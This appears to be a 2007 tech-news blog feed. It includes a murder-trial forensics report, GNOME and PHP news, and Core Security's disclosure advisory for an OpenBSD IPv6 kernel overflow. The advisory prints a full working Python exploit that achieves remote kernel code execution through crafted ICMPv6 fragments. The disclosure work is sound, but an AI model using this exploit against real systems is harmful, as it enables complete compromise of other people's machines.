Jennifer Seymour, who worked for the State Police digital technology unit, testified thismorning how she examined the digital contents of computers and hand held devices obtained as part of the investigation.

Her testimony was the strongest evidence yet in the state's circumstantial evidence case against the 34-year-old McGuire, who allegedly murdered her husband with a .38 caliber weapon, dismembered his body and placed body parts in three suitcases found in the Chesapeake Bay in May of 2004.

While the jury has yet to see any fingerprint, blood or DNA evidence in the case, the evidence presented by Seymour illustrated how computers can be a valuable investigation tool.

Seymour was still being questioned by Assistant Attorney General Patricia Prezioso when Superior Court Judge Frederick De Vesa gave the jury its lunch break. Testimony was scheduled to resume at 1:45 p.m.

Seymour, now employed by the U.S. Department of Defense, testified how digital investigators can trace activity on a computer, including information the user has deleted.

She testified that she isolated data that was accessed in the weeks leading up to the murder, by inserting the keyword "search," which showed activity by Google and MSN search engines, with the searches center-ing on poisons and gun laws.

The murder took place the same day, according to allegations by the state, that a two-ounce prescription of chloral hydrate was purchased at a Walgreen's in Edison.

A search on April 26, 2004 of the computer seized by the state found that the user accessed the site www.walgreens.com/storelocator.

On Monday Yan Kim Lee, a pharmacist at the Walgreen's on New Durham Road in Edison, testified that on the morning of April 28 she filled a prescription for chloral hydrate for a woman named Tiffany Bain, on script signed by Dr. Bradley Miller of Reproductive Medicine Associates in Morristown.

Melanie McGuire worked at the RMA office as a nurse, and at the time of her husband's death she was having an affair with Miller.

Lee testified that she typically fills only about three or four prescriptions annually for chloral hydrate.

In her testimony Seymour said she was able to trace e-mails on Hotmail accounts allegedly used by McGuire and Miller. She said the e-mails seemed to indicate the two had a romantic relation-ship, with such phrases as "I love you," and "I miss you."

Seymour said that on Sept. 8, 2005, the State Police obtained eight computers, three laptops and eight hand-held devices as part of the murder investigation.

In her testimony today, she said she examined the contents of a computer obtained at the office of McGuire's attorney, though she did not identify the name of the attorney. She also said she tested a home computer used by the Woodbridge couple, and a home computer used by her parents, who now live in Barnegat.

The HP Pavilion computer obtained from McGuire's attorney's office had a 60 gigabyte hard drive, and not all of it was searched by Seymour.

She told the jury that it is known in the computer industry that if information stored on a 12 gigabyte computer was put on paper it would create a stack of paper higher than the Empire State Building.

The first person to testify Tuesday was David A. Barron, a forensics examiner for the state of Virginia, who participated in the initial murder investigation.

Barron testified that he did not examine William McGuire's re-mains for chloral hydrate. He said his office no longer has the samples it used to test for alcohol and certain drugs.

"The protocol is once we complete our testing we submit it to the investigating agency," he said. "My understanding is that it has been destroyed."

Under cross examination by defense attorney Stephen Turano, Barron said no test for chloral hydrate was done on the remains.

When asked by Prezioso if it is routine in autopsies to test for "every substance known to man-kind," Barron said, "We could do a research project on any case we receive, but we don't have the manpower."

The state's second witness, Donna Todd, the director of the Kinder Castle daycare center in Metuchen where the McGuire's 4-year-old son was enrolled, testified for the state about the child's attendance record on April 28, 2004, the day the state alleges the murder take place.

On cross examination by Joseph Tacopina she also testified about his attendance on April 29. Ac-cording to her records the boy arrived at the daycare center at 8:30 a.m.

Todd told the jury that Melanie McGuire explained to her that she was obtaining a temporary restraining order against her husband, and told her about a fight the night before that ended when William stuffed a dryer cloth into her mouth.

Tacopina asked Todd if McGuire looked "upset or crazed."

"She did look upset," said Todd.

Remote Exploit Discovered for OpenBSD

2007-03-16T03:42:00.000+07:00

"OpenBSD is known for its security policies, and for its boast of "only one remote exploit in over 10 years". Well, make that two, because Core Security has found a remotely exploitable buffer overflow in the OpenBSD kernel. Upgrade your firewalls as soon as possible."

OpenBSD's IPv6 mbufs remote kernel buffer overflow

Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
Date Published: 2007-03-13

Last Update: 2007-03-13

Advisory ID: CORE-2007-0219

Bugtraq ID: 22901

CVE Name: CVE-2007-1365

Title: OpenBSD's IPv6 mbufs remote kernel buffer overflow

Class: Buffer Overflow

Remotely Exploitable: Yes

Locally Exploitable: No

Advisory URL:
http://www.coresecurity.com/?action=item&id=1703

Vendors contacted:

OpenBSD.org

2007-02-20: First notification sent by Core.

2007-02-20: Acknowledgement of first notification received from the OpenBSD team.

2007-02-21: Core sends draft advisory and proof of concept code that demonstrates remote kernel panic.

2007-02-26: OpenBSD team develops a fix and commits it to the HEAD branch of source tree.

2007-02-26: OpenBSD team communicates that the issue is specific to OpenBSD. OpenBSD no longer uses the term "vulnerability" when referring to bugs that lead to a remote denial of service attack, as opposed to bugs that lead to remote control of vulnerable systems to avoid oversimplifying ("pablumfication") the use of the term.

2007-02-26: Core email sent to OpenBSD team explaining that Core considers a remote denial of service a security issue and therefore does use the term "vulnerability" to refer to it and that although remote code execution could not be proved in this specific case, the possibility should not be discarded. Core requests details about the bug and if possible an analysis of why the OpenBSD team may or may not consider the bug exploitable for remote code execution.

2007-02-28: OpenBSD team indicates that the bug results in corruption of mbuf chains and that only IPv6 code uses that mbuf code, there is no user data in the mbuf header fields that become corrupted and it would be surprising to be able to run arbitrary code using a bug so deep in the mbuf code. The bug simply leads to corruption of the mbuf chain.

2007-03-05: Core develops proof of concept code that demonstrates remote code execution in the kernel context by exploiting the mbuf overflow.

2007-03-05: OpenBSD team notified of PoC availability.

2007-03-07: OpenBSD team commits fix to OpenBSD 4.0 and 3.9 source tree branches and releases a "reliability fix" notice on the project's website.

2007-03-08: Core sends final draft advisory to OpenBSD requesting comments and official vendor fix/patch information.

2007-03-09: OpenBSD team changes notice on the project's website to "security fix" and indicates that Core's advisory should reflect the requirement of IPv6 connectivity for a successful attack from outside of the local network.

2007-03-12: Advisory updates with fix and workaround information and with IPv6 connectivity comments from OpenBSD team. The "vendors contacted" section of the advisory is adjusted to reflect more accurately the nature of the communications with the OpenBSD team regarding this issue.

2007-03-12: Workaround recommendations revisited. It is not yet conclusive that the "scrub in inet6" directive will prevent exploitation. It effectively stops the bug from triggering according to Core's tests but OpenBSD's source code inspection does not provide a clear understanding of why that happens. It could just be that the attack traffic is malformed in some other way that is not meaningful for exploiting the vulnerability (an error in the exploit code rather than an effective workaround?). The "scrub" workaround recommendation is removed from the advisory as precaution.

2007-03-13: Core releases this advisory.

Release Mode: FORCED RELEASE
Vulnerability Description
The OpenBSD kernel contains a memory corruption vulnerability in the code that handles IPv6 packets. Exploitation of this vulnerability can result in:

1) Remote execution of arbitrary code at the kernel level on the vulnerable systems (complete system compromise), or;

2) Remote denial of service attacks against vulnerable systems (system crash due to a kernel panic)

The issue can be triggered by sending a specially crafted IPv6 fragmented packet.

OpenBSD systems using default installations are vulnerable because the default pre-compiled kernel binary (GENERIC) has IPv6 enabled and OpenBSD's firewall does not filter inbound IPv6 packets in its default configuration.

However, in order to exploit a vulnerable system an attacker needs to be able to inject fragmented IPv6 packets on the target system's local network. This requires direct physical/logical access to the target's local network -in which case the attacking system does not need to have a working IPv6 stack- or the ability to route or tunnel IPv6 packets to the target from a remote network.
Vulnerable Packages

OpenBSD 4.1 prior to Feb. 26th, 2006.
OpenBSD 4.0 Current
OpenBSD 4.0 Stable
OpenBSD 3.9
OpenBSD 3.8
OpenBSD 3.6
OpenBSD 3.1

All other releases that implement the IPv6 protocol stack may be vulnerable.
Solution/Vendor Information/Workaround
The OpenBSD team has released a "security fix" to correct the mbuf problem, it is available as a source code patch for
OpenBSD 4.0 and 3.9 here

The patch can also be applied to previous versions of OpenBSD.
OpenBSD-current, 4.1, 4.0 and 3.9 have the fix incorporated in their source code tree and kernel binaries for those versions and the upcoming version 4.1 include the fix.

As a work around, users that do not need to process or route IPv6 traffic on their systems can block all inbound IPv6 packets using OpenBSD's firewall. This can be accomplished by adding the following line to /etc/pf.conf:

block in quick inet6 all

After adding the desired rules to pf.conf it is necessary to load them to the running PF using:

pfctl -f /etc/pf.conf

To enable PF use:
pfctl -e -f /etc/pf.conf

To check the status of PF and list all loaded rules use:
pfctl -s rules

Refer to the pf.conf(5) and pfctl(8) manpages for proper configuration and use of OpenBSD's firewall capabilities.
Credits
This vulnerability was found and researched by Alfredo Ortega from Core Security Technologies. The proof-of-concept code included in the advisory was developed by Alfredo Ortega with assistance from Mario Vilas and Gerardo Richarte.
Technical Description - Exploit/Concept Code
The vulnerability is due to improper handling of kernel memory buffers using mbuf structures. The vulnerability is triggered by OpenBSD-specific code at the mbuf layer and developed to accommodate the processing of IPv6 protocol packets.

By sending fragmented ICMPv6 packets an attacker can trigger an overflow of mbuf kernel memory structures resulting either in remote execution of arbitrary code in kernel mode or a kernel panic and subsequent system crash (a remote denial of service). Exploitation is accomplished by either:
1) Gaining control of execution flow by overwriting a function pointer, or;
2) Performing a mirrored 4 byte arbitrary memory overwrite similar to a user-space heap overflow.

The overflowed structure is an mbuf, the structure used to store network packets in kernel memory.

This is the definition (/sys/mbuf.h):

We can see that the mbuf contains another structure of type m_ext (/sys/mbuf.h):

This second structure contains the variable ext_free, a pointer to a function called when the mbuf is freed. Overwriting a mbuf with a crafted ICMP v6 packet (or any type of IPv6 packet), an attacker can control the flow of execution of the OpenBSD Kernel when the m_freem() function is called on the overflowed packet from any place on the network stack.

Also, since the mbufs are stored on a linked list, another variant of the attack is to overwrite the ext_nextref and ext_prevref pointers to cause a 32 bit write on a controlled area of the kernel memory, like a user-mode heap overflow exploit.

The following is a simple working proof-of-concept program in Python that demonstrates remote code execution on vulnerable systems.
It is necessary to set the target's system Ethernet address in the program to use it.

The PoC executes the shellcode (int 3) and returns. It overwrites the ext_free() function pointer on the mbuf and forces a m_freem() on the overflowed packet.

The Impacket library is used to craft and send packets (http://oss.coresecurity.com/projects/impacket.html or download from Debian repositories)

Currently, only systems supporting raw sockets and the PF_PACKET family can run the included proof-of-concept code.

Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 30"

To use the code to test a custom machine you will need to:
1) Adjust the MACADDRESS variable
2) Find the right trampoline value for your system and replace it in the code. To find a proper trampoline value use the following command:
"objdump -d /bsd | grep esi | grep jmp"
3) Adjust the ICMP checksum

The exploit should stop on an int 3 and pressing "c" in ddb the kernel will continue normally.

--------------------icmp.py--------------------- # # Description: # OpenBSD ICMPv6 fragment remote execution PoC # # Author: # Alfredo Ortega # Mario Vilas # # Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc. # All rights reserved from impacket import ImpactPacket import struct import socket import time class BSD_ICMPv6_Remote_BO: MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f) def Run(self): self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) self.s.bind(('eth0',0x86dd)) sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f' # source address destIP = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' # destination address Multicast Link-level firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP) validIcmp = self.buildValidICMPPacket(sourceIP,destIP) for i in range(100): # fill mbufs self.sendpacket(firstFragment) self.sendpacket(validIcmp) time.sleep(0.01) for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable self.sendpacket(secondFragment) time.sleep(0.1) self.sendpacket(firstFragment) self.sendpacket(validIcmp) time.sleep(0.1) def sendpacket(self, data): ipe = ImpactPacket.Ethernet() ipe.set_ether_dhost(self.MACADDRESS) ipd = ImpactPacket.Data(data) ipd.ethertype = 0x86dd # Ethertype for IPv6 ipe.contains(ipd) p = ipe.get_packet() self.s.send(p) def buildOpenBSDPackets(self,sourceIP,destIP): HopByHopLenght= 1 IPv6FragmentationHeader = '' IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (00: Hop by Hop) IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset IPv6FragmentationHeader += struct.pack('!B', 0x01) # offset + More fragments: yes IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id IPv6HopByHopHeader = '' IPv6HopByHopHeader += struct.pack('!B', 0x2c) # next header (0x3A: ICMP) IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght ) # Hdr Ext Len (frutaaaaaaa :D ) IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2) # Options longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader) print longitud IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x00' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150) self.ShellCode = '' self.ShellCode += '\xcc' # int 3 self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret ICMPv6Packet = '' ICMPv6Packet += '\x80' # type (128 == Icmp echo request) ICMPv6Packet += '\x00' # code ICMPv6Packet += '\xfb\x4e' # checksum ICMPv6Packet += '\x33\xf6' # ID ICMPv6Packet += '\x00\x00' # sequence ICMPv6Packet += ('\x90'*(212-len(self.ShellCode)))+self.ShellCode # Start of the next mfub (we land here): ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB' # mbuf+0x20: trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp") ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG' longitud = len(ICMPv6Packet) IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x2c' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP IPv6FragmentationHeader = '' IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (3A: icmpV6) IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset + More fragments:no IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet return firstFragment, secondFragment def buildValidICMPPacket(self,sourceIP,destIP): ICMPv6Packet = '' ICMPv6Packet += '\x80' # type (128 == Icmp echo request) ICMPv6Packet += '\x00' # code ICMPv6Packet += '\xcb\xc4' # checksum ICMPv6Packet += '\x33\xf6' # ID ICMPv6Packet += '\x00\x00' # sequence ICMPv6Packet += 'T'*1232 longitud = len(ICMPv6Packet) IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x3A' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP icmpPacket = IPv6Packet+ICMPv6Packet return icmpPacket attack = BSD_ICMPv6_Remote_BO() attack.Run() --------------------icmp.py---------------------

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.

We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/

About Core Security Technologies
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide. The company’s flagship product, CORE IMPACT, is the first automated penetration testing product for assessing specific information security threats to an organization. Penetration testing evaluates overall network security and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks.

Core augments its leading technology solution with world-class security consulting services, including penetration testing, software security auditing and related training.

Based in Boston, MA. and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

Gnome 2.18 Released

2007-03-16T03:11:00.000+07:00

GNOME 2.18

GNOME 2.18 is the latest version of the popular, multi-platform free desktop environment, providing all the tools a user needs for everyday work, and a platform for developers to write new software.

GNOME's focus is ease of use, stability, and first class internationalization and accessibility support, so that GNOME and its applications are usable by anyone, anywhere. GNOME runs on a variety of platforms, including GNU/Linux (commonly called Linux), Solaris, HP-UX, BSD and Apple's Darwin. Work has been done in this release to make it easier to port GNOME tools to Windows as well.

GNOME is part of The GNU Project, and is Free Software.

GNOME 2.18 Release Notes

The Release Notes explain the contents of this release, showing what GNOME is, what's new, and how to get it, with links to further information.

The Release Notes are available in other languages: Arabic, Catalan, German, French, Lithuanian, Macedonian, Panjabi, Portuguese (Brazilian), Russian, Serbian, Spanish, Swedish, Thai.

We encourage you to submit screenshots of GNOME 2.18 to our gallery. You can check out the great screenshots submitted by our intrepid community. These shots demonstrate our users' beautiful desktops, as well as some of the new features in this version of GNOME.

Getting GNOME 2.18

LiveCD and Disk Images for Virtual Machines

To download and preview the latest version of GNOME, try our easy LiveCD. Download, burn, and reboot - Without touching your current system, it just shows you the latest and greatest in GNOME and beyond.

You can alternatively download a disk image, and launch GNOME in a virtual machine using your favorite virtualization software. You don't even have to leave your current system to try out GNOME!

The LiveCD and the disk images contain all of our supported languages.

Download the LiveCD or disk images.

GNOME in Distributions

Although Linux distributions and other flavors of UNIX do not immediately integrate new GNOME versions, in the next few months many of the biggest distributions will package and ship GNOME 2.18. To see the latest information about who is shipping GNOME 2.18, visit our Get Footware page.

Building From Source

Of course, our sources are always available so you can build GNOME from scratch. To ease the build, we recommend that you use GARNOME or jhbuild.

GARNOME

jhbuild (2.18.0 modulesets)

Source Tarballs:

Platform Sources

Desktop Sources

Bindings Sources

Admin Sources

Developer Tools Sources

Other Announcements

The Community Announcement is the official email announcing the release to the people who actually did the work.

Users

What is GNOME?

Download

Community News

Software Map

Foundation

Press

Contact

Developers

Developer Site

Mailing Lists

Bugzilla

About GNOME · Download · Support · Community · Developers · Foundation · Contact

GNOME 2.18 (Simply Beautiful)

GNOME 2.18 is out, on time as usual. The top-class free desktop for the masses looks and feels better than ever. This is another progressive release in our road to perfection. It integrates another load of improvements done in the visual design, the performance of the desktop components, and the growing collection of integrated applications. The web browser and the themeable window manager are two good examples to check.

Personal security is now fully integrated into the desktop, allowing digitally signed communications, encryption of emails and local files, and user-friendly management of personal keys. Internationalization records progress in all directions, with support for vertical text layout and a full Arabic localization matching the quality standards. The official release incorporates essential tools for developers, which hopefully will contribute to get more and better software for the GNOME users.

What's more important, for the first time we ship online games, chess with a 3D look, and endless Sudoku entertainment.

The GNOME desktop is distributed through free and commercial operating systems including Debian, Fedora, Mandriva, OpenSolaris, RedHat, SLED and Ubuntu. GNOME is also present inside XO (the One Laptop Per Child device) and an increasing collection of mobile devices. Users can already get their hands on GNOME 2.18 trying our official live demos or the testing versions released by some distributions. Check the Get Footware page and give it a try.

In More Detail

Everyone

Tomboy, the note-taking applet, helps you to keep better track of your most important notes by pinning them, making sure they will always easier to find.

Using Tomboy to create lists is now as simple as adding a * or a -.

Never lose track of your work and pick up where you left off by finding the recently opened files, or just search for new distractions with the new Deskbar applet.

Find out where all your disk space is going with the new ring chart view in GNOME's Disk Usage Analyzer.

Save battery power with GNOME Power Manager's control over your processor.

Whether you have two monitors or not, the GNOME Document Viewer now supports opening multiple instances of a document at the same time.

Use the new history feature to navigate your documents like a web page.

Hand out better printed slide notes and keep your audience engaged with Evince's new presentation mode.

Digitally sign or authenticate your documents using Seahorse, the new front-end to GNU Privacy Guard.

Use Seahorse to manage the security of your desktop and your OpenPGP and SSH keys.

Developers

Create applications faster using the new Glade graphical interface builder.

Display all your reference documentation using the new integrated help system.

Improved bug reporting ensures that GNOME just keeps getting better.

Fun

Encode your audio in more formats including OGG, MP3 or even AAC!

Turn up the volume on your music and movies with the new and improved volume control that now supports advanced sound cards including the Audigy 2.

Take a break and try our two new games: Chess with glChess, where you can play either against a friend; or try to master the computer opponent or try yourself in solving a Sudoku with GNOME Sudoku, the Japanese crossword puzzle.

Challenge a friend to an online game of Nibbles, Iagno, or Four-in-a-Row.

Share Your Desktop

Connect to your desktop from anywhere in the world.

If you rotate your photos in the camera, they stay that way when you view them with the Eye of GNOME Image Viewer.

Show your friends how you customized your desktop from the login screen to the appearance of your favorite GNOME applications.

Universal Access

Added support for vertical text layouts in Chinese and Japanese.

Added New text-to-speech drivers including Loquendo, Cepstral Swift, and eSpeak.

Improved support for Orca.

Improved support for Chinese using the IBMTTS engine.

Improved support for Gnome Magnifier.

Added Thai dictionary to GNOME Dictionary.

Improved results display in GNOME Dictionary.

About GNOME

We produce free software that makes computers friendly, useful, and fun. We provide a graphical environment that is easy to use, a set of integrated programs, and tools to develop and maintain your own applications.

GNOME is available in dozens of languages. It is compatible with multiple operating systems. It works on home computers, laptops, mobile devices, supercomputers, and small embedded appliances. You can find GNOME across the world in homes, schools, offices, and probably also in your neighborhood.

GNOME has won a reputation for its simplicity and ease of use. We love software that just works: logical, clean, intuitive, and full of sense. Attention to detail is always appreciated: we polish interfaces as well as internal processes, in a constant search for beauty and integration.

The coordination of this large project relies on the GNOME Foundation, an open organization formed by volunteers, professionals and companies.

Learn more about GNOME's best assets at www.gnome.org.

Windows Vista Brute-Force Attack Alive and Kicking

2007-03-16T03:01:00.000+07:00

Enlarge picture

The Windows Vista brute-force crack is alive and still kicking. While the original Windows Vista Brute Force KeyGen has proved to be nothing more than a hoax, with its author coming up

in the open and not only apologizing for creating the crack but also revealing that it was not functional, the key generator workaround for Vista is not yet history. Not even by far.

In fact, the Windows Vista brute-force crack has survived and even got updated. However, it appears that the Vista Brute-Force Method GUI 0.1 + SourceCode has a new father that identifies himself as “stof91.”

“I strongly suggest that you use SoftMod, if you are looking to illegally activate Windows Vista.
(Which doesn't mean that I'm not against it). I stopped development, and will only continue if everyone stops complaining and if it's needed, I had a look at SoftMod.. and it seems that it's the way to go... The application will stay online, until it is removed... after that, you can pm me if you want it,” stof91 revealed.

However, he does offer not only the Windows Vista brute-force crack with a streamlined interface but also the proof-of-concept for the workaround. The brute-force attack is designed in such a manner that it will randomly search for legitimate product keys for the operating system. The actual functionality is similar to the first version released by ComputerUser. This version brings nothing new to the table in comparison to the original release, and as such it is just as much of a hoax, although the author did provide a screenshot designed to prove that the brute force attack actually works.

MIT provides blueprint for future use of coal

2007-03-16T02:36:00.000+07:00

Leading academics from an interdisciplinary MIT panel issued a report today that examines how the world can continue to use coal, an abundant and inexpensive fuel, in a way that mitigates, instead of worsens, the global warming crisis. The study, "The Future of Coal--Options for a Carbon Constrained World," advocates that the United States assume global leadership on this issue through adoption of significant policy actions.

Cell Broadband Engine

2007-03-13T22:18:00.000+07:00

IBM Cell Processor
Photo: www.ibm.com

'A long way from the console games that processor has come, indeed,’ (Yoda would comment on the subject), and now on to the dark side. Not having much success with the PS3, Sony is in quite a bad spot right now. Not to mention the exploding batteries phase they went through, it looks like they're not going to pull out very soon. The Wii

console had a performance on the market similar to a magic trick, now you see it, now you don't. This little detail didn't help one bit in bringing them back to business. Perhaps this is why they want to reduce costs no matter what.

This is where IBM Microelectronics steps in with the beginning of production of Cell microprocessors on a new 65nm manufacturing process. The processor is developed by IBM, Sony and Toshiba and should reduce manufacturing costs by permitting more processors to be fitted onto a single wafer. Along side the reduced manufacturing costs, other benefits of the processors built on the 65nm manufacturing process include lower power consumption and less dissipated heat. Other uses for this processor have been the introduction into IBM's BladeCenter servers.

Cell is a shorthand for Cell Broadband Engine Architecture and it combines the benefits of Power Architecture with streamlined coprocessing elements which accelerate multimedia and vector processing applications. It's composed of a dual-threaded PowerPC core and eight Synergistic Processing Engines (SPE) which are able to realize floating-point calculations. The core has 32KB L1 cache and 512KB L2 cache, and 2MB of cache are spread evenly between the eight SPEs. It also features a Rambus XDRAM Memory Interface able to sustain data transfers from 3.20GHz to 8GHz, an I/O controller and a Rambus FlexIO processor bus able to run up to 6.40GHz.

MOPB reports old hole in new version of PHP

2007-03-05T21:41:00.000+07:00

Report of 04.03.2007 18:25

The initiators of the Month of PHP Bugs (MOPB) have published vulnerabilities in the Zend engine, PHP4, and the current developer version of the script language. Software updates have already been provided for a few of these7 flaws.

One of the flaws reported concerns PHP version 4.4.3 up to the current version 4.4.6. The phpinfo() function provides information about the PHP environment, including the content of variables transmitted during the request. A vulnerability to cross-site scripting (XXS) occurs when these variables are not correctly filtered. The developers already attempted to remedy the flaw in PHP 4.4.1, but they apparently missed something by incompletely backporting the correct functions from PHP5 into PHP4, leaving PHP4 still vulnerable to XSS.

In the developer version (CVS) of PHP, the developers opened up a new hole when they tried to improve insecure function calls, such as by replacing strncpy or sprintf with strlcpy or spprintf. They then made a mistake in the WDDX functions, which are used to share data between web applications. The use of strlcpy instead of strlcat can cause a buffer overflow in the processing of specially prepared WDDX packets.

As a "bonus", two security holes are marked in the Zend platform. Thanks to insecure file rights, attackers can escalate their privileges up to the root level, for instance, when they penetrate the server through a hole in PHP. In addition, another vulnerability allows php.ini to be modified so that attackers can again escalate their rights. The flaws are found in version 2.2.3 of the Zend platform and previous. Updating to version 3 solves the problem.

Also see:

Zend Platform Insecure File Permission Local Root Vulnerability, MOPB project security report

Zend Platform ini_modifier Local Root Vulnerability, MOPB project security report

PHP 4 phpinfo() XSS Vulnerability (Deja-vu), MOPB project security report

PHP wddx_deserialize() String Append Buffer Overflow Vulnerability, MOPB project security report

Download the current version of Zend

Eric Raymond: Yes, "open source" is still meaningful

2007-03-05T21:28:00.000+07:00

Mar. 01, 2007

Writing in O'Reilly's Radar, Nat Torkington argues that the term "open source" is becoming meaningless. He points to SugarCRM's badgeware, through which, he claims, only two-thirds of their code is downloadable, and rPath and MontaVista, which "sell software that works on Linux but the software itself isn't actually open source."

Open-source leader Eric S. Raymond replied to Torkington's essay in a letter to O'Reilly and several journalists, in which he asserted that the open source "label is still valid and important. I'm a pragmatist, so I'm not going to wave any flags or sing any anthems to argue this, just point out what has worked and continues to work."

"First of all, let's be clear about what 'open source' means," Raymond writes. "Software is 'open source' when it is issued under a license compliant with the Open Source Definition (OSD). Nothing any clueless or malevolent corporate marketer does can change that, because the term originated in the open-source developer community and only we have the authority to redefine it.

"If this seems excessively prescriptive to some readers, consider what would happen if a marketer tried to redefine the term 'electron' to mean 'proton', or 'big lump of green cheese', or something. This would instantly be recognized as absurd -- physicists own that term, and only they have the authority to redefine it," continues Raymond.

"Many of you know I'm a lexicographer as well as a hacker," Raymond has for many years been the maintainer of The New Hacker's Dictionary, which is available both online and from MIT Press. "I can tell you what people who make dictionaries think about controversies like this -- that technical terms of art belong to the expert communities that define them. Only *we*, the open-source community, get to redefine 'open source'," continued Raymond.

"And, occasionally, we do redefine it. OSI, the Open Source Initiative, added a tenth clause to the OSD a few years back to deal with click-wrap licensing. Right now, OSI is contemplating changes to deal with badgeware licenses of the kind Nat complains about. In doing so, OSI serves our entire community, and anyone get involved in the process through its license-discuss list."

Some companies, such as Alfresco Software, are already moving away from badgeware versions of the MPL (Mozilla Public License). In its case, Alfresco is going to the GPLv2.

"Normal evolution of the term within its defining community is one thing," explained Raymond. "Accidental or deliberate abuse of the term is another, and should be recognized and treated as such through education and persuasion and the occasional smack upside the head. Abuse is not a reason to abandon the term 'open source' any more than some fool babbling about big lumps of green cheese would be a reason to abandon the term 'electron'."

"Rather, abuse is a reason to *defend* and *explain* the term, so that it will continue to have a useful meaning. OSI does that. Nat's post amounts to asking if the community should give up the effort. I say certainly not. The only reason to abandon the term 'open source' would be if it no longer served a useful purpose, and there are at least two very large useful purposes that it does serve," said Raymond.

The OSI, which has been rather quiet lately, is becoming more active in attacking those who misuse the term.

According to Intel's senior director of open-source strategy and the OSI's secretary/treasurer, Danese Cooper, the OSI is aware that "Open Source is a big buzzword again now, and yes there are those (as there have been from the beginning) who are trying to understand how they can embroider over the edges of Open Source to achieve business goals nearly but perhaps not perfectly aligned with the spirit of the Open Source Definition."

Raymond continued: "Do we really need a reminder of why lots of people jumped on it in 1998? We had an image problem with people outside our community, especially businesses and governments. 'Free software' frightened them away; I thought 'open source' might attract them. Those of us who originally took the initiative in pushing it promoted 'open source' as a cold-blooded exercise in rebranding, and that worked; our community has ridden the label to levels of acceptance we barely could have dreamed of nine years ago."

"And guess what -- 'free software' *still* has an image problem, if only because the Free Software Foundation (FSF) has responded to the success of the 'open source' label by taking a position that is more purist, more territorial, *and thus more frightening*. By doing this FSF has ironically ensured that 'open source' would remain a necessary marketing hack in our community's relations with the rest of the world," declared Raymond.

Raymond isn't the only one who sees the FSF in this way. Some of the Linux kernel core developers strongly object to the FSF's proposed GPLv3. Others, such as Linux observer Bill Weinberg, believe that the GPLv3 threatens to fork GNU projects and marginalize the FSF.

Raymond continued, "But I think the more important purpose of the term 'open source' is not as a marketing hack but as a deliberately inclusive term for the entirety of a history and a culture that transcends any of our narrow internecine disputes about licensing and propaganda. Neither the FSF nor the OSI is the axis of that history."

"Our community didn't spring full-blown from Linus Torvalds's head, nor from Richard Stallman's, nor (perish the thought!) from mine," added Raymond. It includes 'free software' developers, but also tribes like those around BSD and X that are not centered on the GPL and rejected the term 'free software' with all its ideological baggage. And it includes many more to whom the GPL/anti-GPL dispute matters only a little if at all."

"'Open source' also properly includes a lot of pre-FSF history like the early IETF [Internet Engineering Task Force] and the Tech Model Railroad Club," continued Raymond. "It's now used retrospectively by people who lived that history. I have gradually come to understand that year zero of our movement wasn't 1985, the year FSF was founded. I now think perhaps it was 1961, the year MIT took delivery of the first PDP-1 and the earliest group of self-described 'hackers' coalesced around it."

Steven Levy's Hackers: Heroes of the Computer Revolution, is the best history of this period. It covers from those early days of the Tech Model Railroad Club to the first hackers, to Stallman, who Levy called the last of the true hackers.

